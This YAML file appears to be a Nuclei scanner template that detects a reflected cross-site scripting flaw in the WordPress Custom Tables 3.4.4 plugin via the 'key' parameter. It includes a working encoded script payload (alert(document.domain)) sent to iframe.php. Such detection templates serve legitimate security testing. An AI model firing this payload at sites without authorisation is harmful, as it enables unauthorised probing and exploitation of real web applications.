54 lines
1.6 KiB
YAML
54 lines
1.6 KiB
YAML
id: wp-custom-tables-xss
|
|
|
|
info:
|
|
name: WordPress Custom Tables 3.4.4 - Cross-Site Scripting
|
|
author: daffainfo
|
|
severity: high
|
|
description: WordPress Custom Tables 3.4.4 plugin contains a cross-site scripting vulnerability via the key parameter.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/211a4286-4747-4b62-acc3-fd9a57b06252
|
|
- https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-custom-tables-key-parameter-cross-site-scripting-3-4-4/
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
|
|
cvss-score: 7.2
|
|
cwe-id: CWE-79
|
|
metadata:
|
|
max-request: 1
|
|
tags: wpscan,wordpress,xss,wp-plugin
|
|
|
|
flow: http(1) && http(2)
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /wp-content/plugins/custom-tables/readme.txt HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: word
|
|
internal: true
|
|
words:
|
|
- 'custom tables'
|
|
- 'Tags:'
|
|
condition: and
|
|
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/wp-content/plugins/custom-tables/iframe.php?s=1&key=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "</script><script>alert(document.domain)</script>"
|
|
part: body
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a004730450220283967ee7e75252780a1dcb1960a9ea5ec74744539f8bebff650acd605b05e17022100a54356da28bfe1192c29b43f513d4a11b5e1f4f3181be5bf243009a2baadfd9b:922c64590222798bb761d5b6d8e72950 |